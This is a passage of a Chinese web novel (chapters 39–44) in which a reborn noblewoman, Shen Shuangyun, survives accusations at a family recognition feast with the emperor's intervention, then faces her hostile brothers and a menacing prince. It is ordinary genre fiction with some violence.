谢夫人回眸,狠狠瞪了一眼裴寒声,转头急声道:“你们,快把他们拉开。”
“我是府中主母,你们要违命吗?”
侍卫们犹豫上前。
老夫妻里的老妇人,眼珠转着,一屁股坐到地上,拍着大腿,嚎啕大哭,“没有天理了,活不成了,女儿造的孽要我们来受,外孙女也不孝顺,活不成了。”
“这世道,要逼死个人了,苍天啊,厚土啊,我们两个老不死的,干脆撞死在宫门前得了。”
第39章 我的妹妹,你有什么资格骂?
老夫妻两个哭天抹地,寻死觅活。
周遭宾客们面面相觑,不知所措。
楚清晏挑了挑眉,目光追逐沈霜云。
沈婉音喜得浑身都颤抖。
沈家三兄弟愕然,互相打量了。
“好了,九卿,让那夫妻俩进前来,朕问问是怎么回事?”庆元帝看了半晌,突然开口。
“这……”裴九卿垂脸,掩下眼里复杂,他恭声,“是。”
旋即,带上侍卫,把柳家老人挟到御前。
宾客们围绕。
沈霜云也欲上前,裴照野突然握住她的手,仰着头,郑重保证道:“大姐姐,你不要怕,无论如何,我都会保护你的。”
“我不会让哥哥们伤害你。”
四个哥哥对大姐姐的恶意,他虽小,却也明白。
那两个老夫妻,敢在他们国公府这么闹,身后必然有人支撑,是三哥?是四哥?还是,所有的哥哥!
他们要害大姐姐。
他的姐姐,他要护着。
“我也会保护你的,霜云姐姐,你救了我姐姐的命,我一辈子都感激你。”赵盈盈挺胸,“如果今天,国公府不能容你,你就跟我去赵家。”
“你和我,我姐姐,还有我娘,我们四个一块儿过。”
两个小朋友,一左一右,握住她的手,站到她的身前。
被算计、被辱骂、被厌恶,沈霜云都没有掉泪,可如今,看着两个身量没她高的孩子儿,那样真挚地护到她身前,口口声声维护。
沈霜云眼窝酸涩,全然控制不住眼泪。
晶莹泪滴,顺着她的脸颊,滑过下颚,末入衣领。
裴寂之指尖微微颤动,目光流连在她身上,旋即,又很快避开。
只是心中,莫名沉重。
“姐姐没事的,野照,盈盈,姐姐一定会没事的。”沈霜云抿唇。
三人来至御前。
庆元帝正垂问,“你们二人有何冤枉?要大闹国公府,又是如何进来的?”
他是微服前来,柳家两口中不认得,可帝王气势,威严阵阵,柳家老两口不敢在他面前撒泼,眼神闪烁,乃自战兢,依然强撑着,“回,回这位贵人,我们夫妻两人,是国公爷侍妾柳翠枝的爹娘。”
“我们都是先夫人府里的家生子,小女翠枝是夫人的贴身丫鬟,陪嫁来了国公府,蒙先夫人垂青开脸,做了半个主子,还替国公爷生了对双胞胎女儿。”
“十五年前,厉王造反,我女儿抱着孩子,跟白夫人逃出府,遇见追兵,我那个孽障女儿啊,居然用白夫人挡刀,硬生生害得夫人身受重伤,病逝而亡。”
几句话出,众多宾客们哗然一片。
沈霜云站在那里,感觉到无数视线刺了过来。
怜惜、鄙夷、嘲弄、更多的是看戏。
裴照野急得直跺脚,却又不好说话。
他知道,柳家老夫妻说的是真的。
“我那女儿害死主母,又遭报应死在刀兵之下,我们全家受她的连累,被白府卖了出去,可怜我四个儿子,全累死矿山,我们夫妻俩侥幸逃出一命,前来京城寻亲,谁知,这个孽障啊。”
老头子眼泪,指着沈霜云,“她锦衣玉食养着,却能眼睁睁看着我们饿死,幸好,遇见裴四爷,他施了缓手,给了我们口饭吃。”
“我们老两口,不忍四爷这么好的人,认杀母仇人的女儿做妹妹,我们良心不安啊。”
裴寒声上前,长睫垂着,声音暗哑,“臣无状,把家丑闹到陛下面前,请陛下恕罪,只是杀母之仇,臣一刻都忍不住。”
“陛下,此事乃臣为所,与四弟不相干。”裴临渊下跪。
庆元帝的眉头,紧紧拧着。
裴贵妃掩面,不晓所思。
沈霜云的指甲,掐入掌心,四周逼人的视线和各种窃窃私语,几乎能杀人,但她的背,依旧挺得很直。
柳絮拂过她的面容,衬得她尚未干透的泪水。
裴寂之的身子,不由自主地向前探了一下,可触及楚清晏挑高的眉和专注的视线。
他目光晦暗了。
“沈霜云,你生母居然犯下那么大的错,你还快快跪下,向裴家公子请罪。”一道严厉的声音,突然响起。
宾客们一愣,转头去看。
就见沈家三兄弟,携手前来。
沈墨言痛心疾首,狠狠跺脚,“怪不得,真是怪不得啊,沈霜云,你在家里寡言阴沉,忤逆不孝,原来是随了根儿。”
“你生母就不是好东西。”
“我就说姐姐人品不好吧,她还无视两位老人家,真是太无情。”楚清晏身侧,沈婉音装模作样。
沈霜云冷笑。
前世,百花宴,柳家老两口同样出现,同样话语,沈婉音恼羞成怒,吼叫着让谢夫人把柳家老两口打死,未果后,又亲自去厮打他们,矢口否认两人的话。
裴九卿拿出证据。
沈婉音否认不了,就开始辩驳白夫人是自己病死的,是她命薄福浅,惹得裴临渊抽刀差点杀了她。
如今到来装慈悲了。
“管好你的嘴,沈婉音,你和沈霜云是双胞胎,他们也是你外祖父母,你生母造的孽缘,你也有份。”
在弟弟和妹妹之间左右为难,一直沉默的裴九卿,终于爆了,随手拎起桌子,轮向沈墨言,他大骂道:“你跟我装什么大尾巴狼?”
“谁腰带没系紧,把你漏出来了?我裴家之事,你姓沈的插什么嘴?”
“沈霜云是镇国公府的大姑娘,我家家事,想怎么处置?自我们定论,你跟着裹个屁的乱,跟你有什么关系?”
“你哪来的资格骂她!!”
一个桌子抡过来,直接砸到沈墨言头上,汤汤水水撒他一身,脑袋也被砸坏了,鲜血流出来。
他眼前一黑,身体踉跄,差点没昏死过去。
沈宁川赶紧扶住他。
“啊!!”
沈婉音尖叫,得意的表情,直接僵住。
她都懵了。
怎么回事?
她是在替裴家人说话啊,她是在帮裴寒声他们啊,为什么不领情?
这和她前世的遭遇不一样。
裴九卿骂她,裴寒声、裴临渊,裴寂之,他们怎么会冷眼旁观?
柳家两个老不死的,不是他们找这来的吗?
“你们,你们怎么能打我大哥?我哥哥好心好意,替你们教训逆女,我也是心疼白夫人遭人背叛,真心真意替你们委屈……”
第40章 妹妹擅长以柔克钢
沈婉音躲要楚清晏身后,泪眼朦胧。
她怕裴九卿冲过来打她。
“呵呵,替我母亲委屈?”裴九卿冷笑。
沈霜云侧目。
就连裴临渊和裴寒声,都斜眼睨她,神情充满鄙视。
沈霜云回到镇国公府,就是他们裴家的姑娘,他们怎么内斗,那是他们家的事,沈氏一介外来商户,胡乱插什么手?
沈婉音,跳梁小丑一个,那点浅薄卖弄的心思,谁会不知?
也就是沈家人,被屎糊住眼睛,认不清她而已。
“沈婉音,端午宴前害你姐姐,吃亏没吃够,心思恶劣,沐猴而冠的东西,想用我裴家人做刀?”
裴寂之俯视,淬砺锋芒。
他余光看向沈霜云。
她垂着脸儿,静静站着,无论是柳家老两口的诛心之言,还是沈家人的指责,都没有让她动容,像是这种随时随地,被千夫所指,满目鄙夷的处境是常态般。
她已习惯。
所以从容。
裴寂之心中蓦然悸动,沈霜云,她是妹妹,还是内应?
这,这……
思绪反复拉扯,千端万绪。
沈婉音也是被骂懵了,裴家五位公子,她最害怕的就是裴寂之,裴九卿暴躁,可她不打女人,裴临渊粗野,久驻边外,裴寒声阴险,却不要人命,裴照野只是个野孩子,只有裴寂之……
他罕言晦暝,却是蛇口蜂针。
杀人不见血。
前世,她绞尽脑汁,用尽所有手段,撒娇卖痴,甜嘴如蜜,都没讨得裴寂之半句好话,可如今……
沈霜云怎么能做到?
别以为她不懂,只能自家欺负,旁人不能说半句的,那是仇人吗?
沈婉音泪眼朦胧,躲到楚清晏身边,嘤嘤哭泣。
楚清晏挑眉,目光幽暗,凝视裴家人。
“好了,狗咬吕洞宾,不识好人心,我们一心一意替裴家打算,他们不领情就算了!”沈今安愤然,心寒地道:“婉音,咱们走,不在这儿碍眼!”
沈婉音咬唇,心里不愿。
事到如今,她更想看沈霜云的下场了。
她谁都没理。
沈宁川悄无声息地上前,把沈墨言扶起来,替他擦去脸上的血痕,小声担忧,“大哥,你没事吧?”
“无妨!”沈墨言喘息,迫不及待地庆幸,“苍天啊,二弟,原来婉音和霜云的生母,做了这么大的孽,居然害死主母,幸好当初婉音没听爹的,回来镇国公府,要不然,她那么娇气的人,怎么受得了?”
“今日这样的场景,如果是婉音面对,她该怎么办?”
“想想我都后怕。”
“是啊。”沈宁川赞同,他有些小心思,却也是重视亲情,疼爱妹妹的,“万幸,真是万幸了。”
几人退到一边。
视线重新聚焦回了沈霜云身上。
她一直垂着脸儿。
裴寒声视线紧盯她,指节发白,漂亮的下颌线绷得死紧,嘴唇无意识抿着,他开口,“陛下,诸位族佬,杀母之仇,不共戴天,今日的认亲宴,就此作罢吧,沈霜云……”
他想放狠话,说出把她驱赶到乡下庄子,孤独一生。
但,他的右腕在颤,眼角微微抽搐。
他死死用手掐住胳膊。
“陛下,诸位……”沈霜云突然启唇,被浓密长睫掩住的眸儿,抬起的瞬间,泪珠儿簌簌滚落。
她眼尾微红,身子轻颤,衬得越发削瘦可怜。
“四哥,不,四公子,我的生母姨娘,若真犯下害死主母的大错,我愿意替她赎罪……”
自从踏进镇国公府,沈霜云一直等待着百花宴,午夜梦回,心里揣测衡量无数回,要如何应对。
拒不承认,胡搅蛮缠的结果,前世,沈婉音已经给出了。
引咎自责,以柔克刚,才是出路。
世人总会怜惜茕茕孤孑,四面楚歌的可怜人。
尤其……
庆元帝也在,她刚刚救了驾。
沈霜云内心波澜不惊,如水般泰然,削瘦身躯却微微颤抖,手指握紧衣角,泪如水下。
前世,能在王府平安生子,博得楚清晏的真心。
她的演技,也算出类拔萃的。
“裴公子今日的指责,我无话可说,四公子恨我,我也能理解,生母之死,换做是我,我也会恨极,可我,我……”
说到这里,沈霜云哽咽了,泪水在‘我’字上滴落。
她像是激动极了,“陛下,哥哥们,我,我也很委屈,很无措啊。”
“当年事发时,我刚刚满月,连生母是谁都不知晓,更遑论她的罪孽?这十五年、我流落在外,吃尽苦头,养家待我如何?我不敢多言,却也……”
“就如此了。”
沈墨言和沈婉音毫无维护的指责,历历在目。
“我归家,原想着骨肉亲情,盼着能有个安身之地,却不成想,要背负这样的原罪?”
“两位老人家。”
她转头,看向柳家老夫妻,脸色苍白如纸,“我何曾见过您二位?又何有嫌弃之说?孝与不孝……”
“我连生母姨娘都未见过,何从谈起?”
“陛下,臣妇是镇国公府的主母,府中人员来往,皆过臣妇之手,霜云日常用度,丫鬟仆妇,也都是臣妇安排的,不曾有任何人进府寻过她!”
谢夫人猛地上前搂住沈霜云削瘦的身子,眼里浸出水光,声音发颤,“陛下,臣妇是霜云的嫡母,臣妇替她担保,她是个孝顺的好孩子。”
“我姐姐人很好的,温柔体贴,与人为善,你们什么时候找过她?她出门时,小爷几乎回回陪着,我怎么没见过你们?”
裴照野喉间滚着气,丸子头竖着,像个愤怒的小公鸡,他大声道:“你们胡说八道,你们冤枉我姐姐!”
母子俩一同出面,维护沈霜云。
裴寒声显然没料到这个场面,脸色微变,但又很快恢复冷峻。
裴临渊虎脸沉默。
沈霜云没打算放过他们,不像前世的沈婉音,百花宴里她大闹诅咒,引得裴家五兄弟齐心协力,一致对她。
今生,裴寂之和裴九卿都未出面。
“陛下,诸位,母亲和五弟的维护,我无颜以对,可今日之事,即已提起,母债女偿,我无话可说,兄长们觉得我不配做镇国公府的女儿,一杯茶、一句话,我自请离府,绝不纠缠,但求兄长……”
“给我留两分脸面!”
第41章 小王恭喜姑娘,认祖归宗
沈霜云一语言罢,园内响起一片低声议论。
笨嘴拙腮?
呵呵,沈墨言他们,一直说她笨嘴拙腮,但经历生死,游走后宅,又怎会真的没有长进?
沈霜云分明瞧见,宾客里有几位贵妇,已经用帕子抹泪,看向裴寒声等人的目光,带上了责备。
母罪及女,是要有前因的。
端午宴前,沈霜云也清洗了‘抛家弃族,攀附权罪’的恶名,裴寒声的发难,已显单薄。
他沉默不语。
谢婉音瞠目结舌。
她不能相信啊,谢姓老妇和裴照野,怎么会那样维护沈霜云?
这样的情况,他们是跟裴家几个恶鬼作对啊。
前世,她被裴寒针对时,谢氏老妇一个屁都没放,裴照野更是幸灾乐祸,跟着裴寒声一起对付她!
他们对她这么坏,凭什么轮到沈霜云,就截然不同了!
沈霜云愚蠢嘴笨,就该被她这种聪明绝顶,才色双全的女子踩在脚下啊。
她委屈的想哭,又愤怒得想骂,前生今世,两人强烈的对比,几乎快把她气疯了,她紧握拳头,想要起身。
愤怒想让她插嘴。
然而,一直静静聆听的庆元帝,突然叹息,沉声感慨道:“寒声,你家的事,朕听得明白了,的确阴错阳差。”
“姨娘纵然可恶,霜云却也无辜,襁褓之中,流离失所,她也是可怜的。”
“终归,你们是血脉之亲,她是你们的亲妹妹,刚刚归家,纵有些旧怨,何至于此?”
“非要让她无家可归不成?”
一个尚未婚配的女子,养家又是那样,孤身离府,能有什么好下场?
沈霜云刚刚救了驾,庆元帝亲自下旨,赞她‘忠勇’,转眼成了这样。
皇帝也要脸啊。
尤其……
他侧目看向裴贵妃,想起她替沈霜推拒爵位,是否提前知情?
皇帝亲自开口打圆场,谁都没敢说什么,裴寒声脸色铁青,却也无可奈何,今日之事,从帝王亲自,就已勉强。
裴寂之上前,沉声请罪,“陛下,臣弟鲁莽,惊扰圣驾,臣罪该万死。”
“无妨,终归是你们的家事,只是,嫡庶有别,霜云的外祖乃是白府,是谢家,妾室族家,不必纠缠了。”
庆元帝淡声,“朕是亲眼看着霜云救驾的忠勇之态,随意说上几句,裴卿的家事,自行处置就好。”
——
皇帝开口打圆场了,裴寒声再不甘心,也无可奈何。
百花认亲宴,的确办得天翻地覆,成为宾客们眼中的热闹,京中百姓口中的笑谈,但……
沈霜云安然度过了。
她身上的隐患——姨娘遗祸、抛家弃族。
全然洗清。
她没改姓,但入了祖谱,裴寂之亲手把她的名字写进去,宾客们散了。
沈婉音满脸‘天塌了’的神情,被沈墨言等人拉走。
沈宁川心事沉沉,似有筹算。
楚清晏告辞时,风度翩翩,刻意走到沈霜云面前,暧昩笑着,说了句,“小王恭贺姑娘,认祖归宗,真是一大喜事了。”
镇国公府注定覆灭,但军中势力,朝廷党派,楚清晏誓在必得。
今生,诛尽裴家后,他娶了小云儿,两相得宜。
小云儿是他红颜爱妻,婉儿做小云儿的替身,那些不好向小云儿施展的手段,他也不用压着了。
楚清晏笑得暴虐,又极尽暧昩,“小王跟沈姑娘一见如故,日后你有何为难之事,尽可以来找小王。”
“不必客气。”
沈霜云毛骨悚然,几乎作呕,全然不理他。
楚清晏执意把一枚令牌塞给她,笑言,“这是小王的私人令牌,沈姑娘随时可以用它,出入小王的私宅。”
“小王爷,请你自重,我跟你素不相识!”沈霜云惊怒交加,抬手要扔。
楚清晏捏住她的拳头,矜持笑道:“哈哈,怎么素不相识了?小王下月,会纳你妹妹婉音入府……”
“我是你妹夫了~”
他凑到沈霜云耳旁,缠绵低语,“好姐姐。”
沈霜云寒毛倒竖,扬手给了个他耳光。
楚清晏被打个正着,脸颊瞬间红起来,他却没恼,反而舔了舔嘴,目光幽深道:“哈哈,沈姑娘别气,是小王冒犯了。”
“下月婚礼,小王会送来请帖,姐姐一定要来。”
说罢,转身离开。
沈霜云凝视他的背影,惊惧气愤的眼神,已然收敛,半晌……
“嗤。”
她嗤笑。
前世,她使劲手段,成了侧妃,生下孩子后,就下药绝了楚清晏的子嗣,那药性强,楚清晏注定短寿。
重生又怎样?
楚清晏狠毒暴虐,阴险毒辣,但也刚腹自用,万般瞧不上女子。
乍然见他,沈霜云是慌了,如今恍过神。
己不会在入他府,有什么可怕的?!
楚清晏、沈婉音、沈氏一族,她的仇人都凑成一堆儿了。
刚好!
沈霜云冷笑不止。
降云阁的奴仆们却欢天喜地,甚至比沈霜云救驾那次还要欢喜。
“大姑娘终于熬出头了,咱们也能放心。”
桃心桃核背人时,偷偷摸摸嘀咕,还掉了眼泪。
大姑娘是个好主子,温柔和善,从不为难人,出手也大方,降云阁下人都推崇她,偏偏,少爷们的态度,让她们这些当奴婢的,也如履薄冰,心中不稳当。
如今,大姑娘终于入了祖谱,是名正言顺的千金小姐了。
她们出去,能光明正大说句,‘自己是在降云阁当差,伺候大姑娘’的了!
没主子的奴才,心里虚啊。
桃心桃核喜笑颜开,自己贴钱去大厨房,给姑娘叫了燕窝八珍汤。
沈霜云也赏了全阁上下,两个月的月钱。
救驾那回,庆元帝没少赏银,她手里宽敞多了。
降云阁上下,狠狠热闹了一回。
沈霜云饮了两杯黄酒,醉意朦胧,准备回屋睡觉的时候,突地,院门从外打开。
裴寒声笑眯眯地走进来。
“奴婢见过四少爷。”桃心桃核慌忙行礼。
“出去。”裴寒声笑容不收,声音却寒,“我有话,跟你们大姑娘说。”
满院奴仆愣在当场。
“你们去吧。”
沈霜云咬唇轻声。
醉意瞬消。
桃心桃核等人退下。
沈霜云平静的看着裴寒声。
裴寒声的笑容,一点一点的收敛,温文尔雅的外皮彻底撕碎,他脸上涌出毫不掩饰的恶意。
“大妹妹真是好手段,谋定后动,以柔胜强,这副无害面孔,装得真好。
第42章 大哥哥,四哥哥杀人了
“大妹妹自回了咱们家,一手分而化之,示敌以弱,玩得真是漂亮。”
化去温文儒生的外衣,本相皆露的裴寒声,浑身上下,都散发着阴冷和危险,眉眼间深刻的恨意,让他真的有点像……
恶鬼!
想起沈婉音气急败坏的评价,沈霜云垂眸,突地笑了。
恶鬼吗?
前世,她真的面对过,楚清晏是所有恶鬼里,最恶,最鬼的那个。
沈府全家,不遑多让。
裴寒声再怎么恨她,都不会把她杀了。
人生,除死无大事。
入了祖谱,沈霜云气定神闲,甚至带着几分丛容的反问,“四哥哥的话,是什么意思呢?”
裴寒声脸皮抽搐,极为厌恶。
沈霜云不急不缓,不避不让。
她入谱了。
她就叫。
谁叫裴寒声一直针她?
哼!
他还叫她‘大妹妹’呢?
“呵呵,大妹妹果然从容。”裴寒声压制着眼底翻涌的情绪,半晌,突然笑了,“你装腔作势,哄了照野,骗了母亲,分化我们兄弟。”
“大哥劝我冷静,二哥对你愧疚!”
“你心里很得意?”
“觉得这样,就安枕无忧了。”
他淡声,一步一步,走到沈霜云身边,俯身,温柔至极的凑到她耳边,轻声呢喃,“大妹妹,你想的太简单了些。”
说罢,轻轻拍手。
院外,裴临渊压着柳家老夫妻走进来。
他们被捆着,麻绳把他们枯瘦的手腕勒出紫痕,像两条垂死的鱼在砧板上痉挛,他们想要喊叫,可嘴巴被布巾堵得严实。
只能发出‘呜咽’的声音和微弱的挣扎。
沈霜云掌心合起,刚想说话。
裴临渊面无表情拔出腰间的长剑,毫不犹豫,他抬手,剑锋精准地刺入柳家老汉的侧颈。
鲜血瞬间喷溅。
温热的溅到沈霜云脚边。
沈霜云勃然变色,轻‘嘶’一声。
裴临渊手下未停,杀了柳家老汉,又缓缓转动剑柄,直刺柳家老妇的胸膛。
白日还活蹦乱跳的老夫妻,双死当场。
“大妹妹,你是‘无辜可怜’的‘忠勇’救驾之人,这两个老东西今日冒犯了你,四哥哥替你解决了!”
“你开不开心啊?”
裴寒声温柔轻呢。
月色下,像个从地狱里爬出来的恶鬼。
沈霜云沉默,不动声色地按住轻颤的胳膊。
自从亲眼看见有人在她面前,被狼狗咬死吞食后,她就有些怕血了。
但……
“多谢四哥哥替小妹出气了。”
她垂眸,冷静自若。
“哈哈哈,大妹妹好胆量。”裴寒声脸色有些难看,像是没想到,居然没吓住她。
裴临渊也挑眉。
第一次把目光投向她。
瘦瘦小小,一阵风就能刮倒的小女娘,竟也有几分胆色的沉着。
也配得裴家的种了。
可惜是柳氏之女,否则,当个妹妹真不错。
“谢谢四哥哥夸奖了。”
沈霜云放开拳头,彻底冷静下来了。
裴寒声沉容,一副吃憋的样子,他转着扇子,半晌,阴测测地笑了笑,“大妹妹这般知道感恩,又嘴甜会哄骗人。”
“我观今日,晋王世子跟你相谈甚欢。”
“大妹妹也及笄,是嫁人的年纪了,半年后选秀,可要我进言,如了你的愿,放嫁晋王府!”
“楚世子也是京中有名的如意郎君,堪配大妹妹。”
裴临渊拧了拧眉。
沈霜云……
像被重锤击中,她眼前一黑,神情强作从容。
她伪装功夫了的。
两个哥哥谁都没看出来。
“四哥哥说笑了,小妹和世子萍水相逢,宣喧罢了,哪里相谈甚欢?况且,世子早已娶妻,何谈嫁娶?”
“四哥哥纵然是兄长,小妹也是闺阁女儿家,这般调侃,真是不该了。”
“无妨,晋王世子妃身体不好,太医早断言,她活不了多久了。”裴寒声淡声,“镇国公府的大姑娘,许配王府世子为继室,也算家世相当。”
“男大当婚,女大当嫁,天经地义,妹妹不用害羞。”
“你的婚事,哥哥会帮你做主的。”
说罢,他向裴临渊招手,扬长大笑而去。
裴临渊转头,冲沈霜云露出嗜血的笑,旋即离开。
降云阁里,剩下两具逐渐僵硬的尸体。
满地都是血。
沈霜云:……
眼前一黑又一黑。
她阖眸,缓缓吸气,稳定情绪,那边,降云阁的下人们见裴寒声走了,胆战心惊的回来,随后……
“啊啊啊啊!”
撞见尸体,她们开始喊了。
沈霜云睁眼,看见桃心的小舌头。
“大姑娘,大姑娘,死,死人了,啊啊啊,怎么办?啊啊啊!”
降云阁下人们,惶惶如丧家之犬,吓得语不成声。
沈霜云觉得脑仁炸开的疼,她揉着额头,虚弱的道:“行了,别喊了,我来处理!”
——
听涛轩。
裴寂之支着肘儿,正在批阅公文。
沈霜云找上门来,她脸色苍白,表情严肃,无视裴寂之骤然拧起的眉头和复杂的眼神。
直截了当。
“大哥哥,杀人了。”她说。
裴寂之一怔,“什么?”
“三哥哥和四哥哥在我院里杀人了,今日揭举我的柳氏老夫妻,现下横尸降云阁,我院中丫鬟们不敢收拾,大哥哥派人打扫打扫吧。”
“如今天气正热,搁一宿就臭了。”
沈霜云的脸紧绷绷的。
裴寂之神情骤然冷下,眼底戾气一闪而过,“怎么回事?”
“说清楚。”
沈霜云没有掩饰,直接把裴临渊和裴寒声的作为,一五一十的说了。
裴寂之默然,抬手揉了揉额头,半晌,突地冷声,“外祖父母惨死眼前,沈姑娘倒是很从容。”
“竟不见悲色。”
“真是好‘孝顺’的女孩儿……”
沈霜云唇角微抿,直面他话中嘲讽,“大哥哥,人,不是我找来的,命,不是我害的,我在院中坐,祸从天上来。”
“柳氏夫妻,我不认识他们,见都未见过,他们是否真是柳姨娘的父母,我都不得而知,一朝见面,又辱我至深,差点让我身败名裂,讨了我的小命。”
“孝顺?”
“古书有云:父不慈,则子不孝;兄不友,则弟不恭,柳姨娘我都没见过,更况且是她的父母。”
“他们是四哥哥带来的,三哥哥杀的,大哥哥如今嘲讽我,又是为何?”
“你让我如何做?三哥哥杀人时,扑到他跟前,抱着他的胳膊哭闹喊叫吗?”
第43章 沈霜云很快就会‘病逝\’的
沈霜云仰头,目光直视裴寂之。
裴寂之神情冷淡,眸底却微惊。
第一次,沈霜云面对他时,如此强硬,隐带咄咄逼人之态。
看来,临渊和寒声当着她的面,诛杀柳氏夫妻之事,终归刺激了她。
她没有外表显得那么冷静。
裴寂之凝视她苍白的脸庞,突然挥手,“罢了,那两人我会处理,你去母亲院里住一晚吧。”
“明日回去,一切如初。”
“只是……”
他顿声,目光落在她裙摆处,无意沾染到的血迹。
她穿着樱桃色的裙子,裙摆层层叠叠绽放,点缀间隙的血色,竟似红梅般,为她白皙到几近透明的肤色里,染尽嫣红。
裴寂之走上前,替她挽了挽急走间,落下的碎发。
他的举止温柔,像个真正疼爱妹妹的哥哥,口中说出的话,却尽显冷酷,“沈姑娘,临渊和寒声,没有九卿耿直,不如母亲心善,不似照野好哄。”
“杀母之仇,不共戴天,没有你想象中的那么好化解。”
“你确有无辜之处,但我兄弟几人,不会接受,对你来说,留在府中,绝非幸事,你已及笄,早早准备,求母亲替你择个好亲事,嫁了吧。”
“你绞尽脑汁,让母亲和照野都偏向你了,他们会替你打算的!”
“不是吗?”
裴寂之冷峻眉眼缓和,声音轻柔,态度竟有几分像对裴照野。
就连‘绞尽脑汁’四字,也说得轻描淡写,不带讽刺。
但……
如此温柔,却让沈霜云屏住了气,手脚都有些发麻了。
裴寂之是真心给她建议,纵含隐喻排斥,也并非全然恶意,但沈霜云怎敢接受?
换做以往,嫁就嫁了,可如今楚清晏重生……
沈霜云哪敢离开镇国公府?
她把楚清晏哄的,认定她是红颜知己,他们两情相悦,她又生了楚清晏唯一的儿子。
那个变态玩得太花,子嗣一直困难。
她生的,是他仅有的子嗣。
现在,楚清晏重生了,他不会放过她,没有镇国公府的庇护,她嫁给谁,都逃不过被他捉走囚禁的命,哪怕她嫁进宫,跟裴贵妃争宠。
楚清晏的性格,他当了太子,当了皇帝,都会私夺小娘的。
那是个无法无天之人。
“嫁人之事,说的容易。”
沈霜云抬头,眼眸流转,似是拢着半世的烟雨,“大哥哥,我是女子,婚嫁之事,乃是人生头等重要,我不会为了避开谁,刻意匆忙。”
嫁谁都没有好结果。
想避开楚清晏,只有裴寂之认回身份,做了庆元帝的太子,登基为帝,直接把晋王府覆灭,她这个妹妹,才有好日子过!
“大哥哥,三哥哥和四哥哥是你的弟弟,我也是你妹妹啊,入府这么久,我的人品,你是知道的,我所求不多。”
“四哥哥便是不放过,总不至于杀了我去,可嫁人,一旦嫁不好,就是生不如死。”
如她前世。
“大哥哥,我知道你是重视家人的,我如今也入了谱,你疼惜三哥哥和四哥哥十分,百分,好歹也分给我这个可怜的妹妹一分。”
反正,我们都不是你的同胞亲人。
你的亲爹,是宫里庆元帝。
亲娘,是裴沉壁,裴贵妃。
大家都是表弟表妹,差不多的。
“哥哥,你们失去母亲,迁怒我身,但我也半生流离,吃尽苦头,生母的疼爱,我一分都没有得着。”
“我刚刚满月,胎发未褪,就被扔到路边,大哥哥,你凭心而论,先夫人之事,我真的应该承担责任吗?”
沈万里捡到她们两个,收做养女,沈婉音直接抱到周氏房里,聘了两个乳母照料,而她……
三个月的时候,已经开始喝米油了。
只有沈婉音吃不了,乳母胀奶难爱,才会抱着喂喂她。
沈霜云身量清瘦,回镇国公府这么久,都不见长胖,就是幼时养得亏了。
裴寂之墨瞳寂廖,幽睫缓缓垂了下来。
半晌,静静一叹。
“你认回裴府,入了祖谱,名字便已上了选秀名册,嫁与不嫁,半年后都要入宫。”
沈霜云轻轻对上他深邃的双眸。
“六宫大选,是贵妃娘娘主掌,中不中,全在娘娘心中,落选,一句话的事罢了。”
“总不至于,真要把我发嫁给晋王世子吧?”
镇国公府和晋王府仇深似海,是朝中最大的两股势力,她这个上了谱的大姑娘,若敢嫁入晋王府,无需旁人。
庆元帝都容不下。
两股势力合了,他这个老皇帝怎么办?
他那么大年纪了,唯一的儿子,都没认祖归呢。
“莫听寒声胡言。”裴寂之沉眉。
寒声又不是疯了,怎会那么干?
他失笑,脑海中突兀浮现出,母亲下葬前,寒声扒开棺材,癫狂大笑的模样。
四弟他,应该不会吧?
——
裴寂之派人替柳家老夫妻收了尸,他们是白府世奴,白夫人出嫁时,随着陪嫁,奴籍一直在镇国公府。
主杀仆。
裴寂之替三弟往官府送了些赎罪银,便算了事。
老夫妻的尸骨,扔到乱葬岗,沈霜云捏着鼻子,出了二十两,帮他们立了个坟。
表面功夫,总要做。
降云阁满院奴仆,又开始战战兢兢了,还是裴照野过来,跑前跑后,热力四射,一句一句,‘大姐姐这个,大姐姐那个’……
谢夫人把裴临渊和裴寒声叫到正院,狠狠训斥了一番。
桃心桃核才恢复正常,敢抬头说话了。
降云阁的奴仆们,多多少少放下心。
沈霜云苦笑。
裴寒声和裴临渊也没了动静。
沈府!
沈万里愁眉苦脸。
认亲宴那日的事,沈墨言等人回来说了,他揣测衡量,觉得杀母之仇,不共戴天,镇国公府的人,绝对容不下沈霜云。
那日没直接赶走,只是碍于陛下在场。
沈霜云肯定会很快‘病逝’的。
柳姨娘生的是双胞胎,他生怕裴家子想起婉音,拖累那孩子,悄眯眯一声都不敢吭,心里打定主意,镇国公府若问,他绝不护着霜云,那孩子死了,他也会帮着作证,的确病逝,更不会收尸。
扔到乱葬岗就是。
千万别连累了他的婉音。
谁知……
等着等着,镇国公府一直没有消息传出来。
提心吊胆之余,他都开始生气了,裴家做事拖拖拉拉,想弄死,就赶紧弄死好了,做什么不上不下,害得他如此忐忑。
“哼,霜云还是有本事,手段非凡,哄骗了谢氏和裴照野,他们也是眼瞎……”
第44章 天下无不是的父母
沈墨言冷声,一脸不愤,“镇国公府都是些胡涂蛋,被沈霜云给骗了,那天我们兄弟和婉音,好心好意替他们说话,他们都不领情。”
“我被裴九卿打了,沈霜云也不曾关心半句,一眼都没看,可见心思狠辣。”
“可怜婉音那样仗义的孩子,大义灭亲,都没得好儿。”
“呜呜呜,爹,晋王妃都派嬷嬷来训斥我了,幸好,幸好世子爷是真的喜欢我,否则,我都怕嫁不进王府。”
沈婉音嘤嘤假哭。
沈今安眼里满是暴躁,“终归,沈霜云就是罪魁祸首,事都是她惹的,如今,她到拍拍屁股,接着做大小姐,让我们替她受累。”
“婉音太无辜了,晋王妃怎么忍心针对她?真是是非不分,气死我了。”
他气急败坏,在屋里来回转圈。
有种没法把拳头伸进镇国公府的气愤和羞恼。
以前在府里,沈霜云得罪婉音,气着了她,他会罚她抄经,跪祠堂,半夜,再派人装鬼弄神地吓唬她。
他屋里有个装了铁沙的垫子,是专给沈霜云跪经用的。
可笑那时,沈霜云居然傻兮兮的,根本不知道,反而觉得他后悔了。
哈哈哈。
多蠢。
也不知陛下怎会偏向她,裴家人又为何接纳她?
也是有眼无珠。
沈今安嗤声。
沈墨言咬牙,想说什么。
“好了!”沈万里抬手阻止,他垂眸,神色若有所思,许久,许久。
他郑重开口,“霜云入了镇国公府的祖谱,站稳脚跟,算是可喜可贺的事,只是那个孩子,不如婉音懂事,心眼格外小,家里对她稍有些疏忽,她就不依不饶。”
“不过,天下有冷血的孩子,却没有无情的父母。”
“我当爹的,总是舍不得她。”
沈万里悲天悯人。
沈墨言拧眉,没弄懂父亲的意思。
沈今安更是不屑,嗤声道:“爹,沈霜云那人,你有什么舍不得的?心眼那么小,就该整治她,让她知道怕了才对!”
“她才离不开咱们……”
到是沈宁川,若有所觉,试探着问,“爹,你是有什么想法吗?”
